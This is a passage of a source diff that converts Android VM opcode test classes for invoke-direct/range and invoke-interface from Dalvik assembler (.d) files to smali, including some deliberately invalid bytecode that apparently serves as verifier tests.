+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private native toInt()I
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-direct/range {p0 .. p0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9;->toInt()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.d
deleted file mode 100644
index 72c1843..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_1.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v6, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali
new file mode 100644
index 0000000..15c97ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_1.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.d
deleted file mode 100644
index 65ca5f2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_10.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-       const v6, 1243
-       invoke-interface {v6, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali
new file mode 100644
index 0000000..02e5bdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_10.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+       const v6, 1243
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.d
deleted file mode 100644
index 110d826..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_11.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       invoke-interface {v4}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali
new file mode 100644
index 0000000..828d4b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_11.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.d
deleted file mode 100644
index c623612..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_12.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 5
-
-       invoke-interface {v4}, dot/junit/opcodes/invoke_interface/ITest/doitNative()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali
new file mode 100644
index 0000000..5c7bcbc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_12.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doitNative()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.d
deleted file mode 100644
index 8d696af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_13.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_13
-.super dot/junit/opcodes/invoke_interface/ITestImplAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_interface/ITestImplAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 7
-
-       invoke-interface {v6}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali
new file mode 100644
index 0000000..069f824
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_13.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_13;
+.super  Ldot/junit/opcodes/invoke_interface/ITestImplAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_interface/ITestImplAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 7
+
+       invoke-interface {v6}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.d
deleted file mode 100644
index d6ce02a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.d
+++ /dev/null
@@ -1,54 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_14.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)I
-.limit regs 9
-    const v1, 123
-    const v2, 345
-
-    const v4, 64
-    const v5, 2
-    invoke-interface {v8, v4, v5}, dot/junit/opcodes/invoke_interface/ITest/testArgsOrder(II)I
-    move-result v4
-    const v5, 32
-    if-ne v4, v5, Label0
-
-    const v5, 123
-    if-ne v5, v1, Label0
-
-    const v5, 345
-    if-ne v5, v2, Label0
-
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali
new file mode 100644
index 0000000..c4d3d7f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali
@@ -0,0 +1,54 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_14.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)I
+.registers 9
+    const v1, 123
+    const v2, 345
+
+    const v4, 64
+    const v5, 2
+    invoke-interface {v8, v4, v5}, Ldot/junit/opcodes/invoke_interface/ITest;->testArgsOrder(II)I
+    move-result v4
+    const v5, 32
+    if-ne v4, v5, :Label0
+
+    const v5, 123
+    if-ne v5, v1, :Label0
+
+    const v5, 345
+    if-ne v5, v2, :Label0
+
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.d
deleted file mode 100644
index 3c972ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_16.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 6
-
-       const/high16 v3, 1065353216
-       invoke-interface {v5, v3}, dot/junit/opcodes/invoke_interface/ITest/doit(F)V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali
new file mode 100644
index 0000000..a437723
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_16.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 6
+
+       const/high16 v3, 1065353216
+       invoke-interface {v5, v3}, Ldot/junit/opcodes/invoke_interface/ITest;->doit(F)V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.d
deleted file mode 100644
index d974005..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_18.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-interface {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali
new file mode 100644
index 0000000..b35bd80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_18.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-interface {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.d
deleted file mode 100644
index 9c5e86d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_2.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v6, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali
new file mode 100644
index 0000000..9b968ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_2.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.d
deleted file mode 100644
index c2465e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_20.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_20
-.super java/lang/Object
-
-.field public static i I
-
-.method static <clinit>()V
-.limit regs 2
-Label0:
-       const/4 v1, 0
-       sput v1, dot.junit.opcodes.invoke_interface.d.T_invoke_interface_20.i I
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 5
-
-       invoke-interface {v3}, dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali
new file mode 100644
index 0000000..0b15bbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_20.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;
+.super  Ljava/lang/Object;
+
+.field public static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+:Label0
+       const/4 v1, 0
+       sput v1, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v3}, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.d
deleted file mode 100644
index f8b0dea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_21.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 9
-
-    const-wide v4, 64
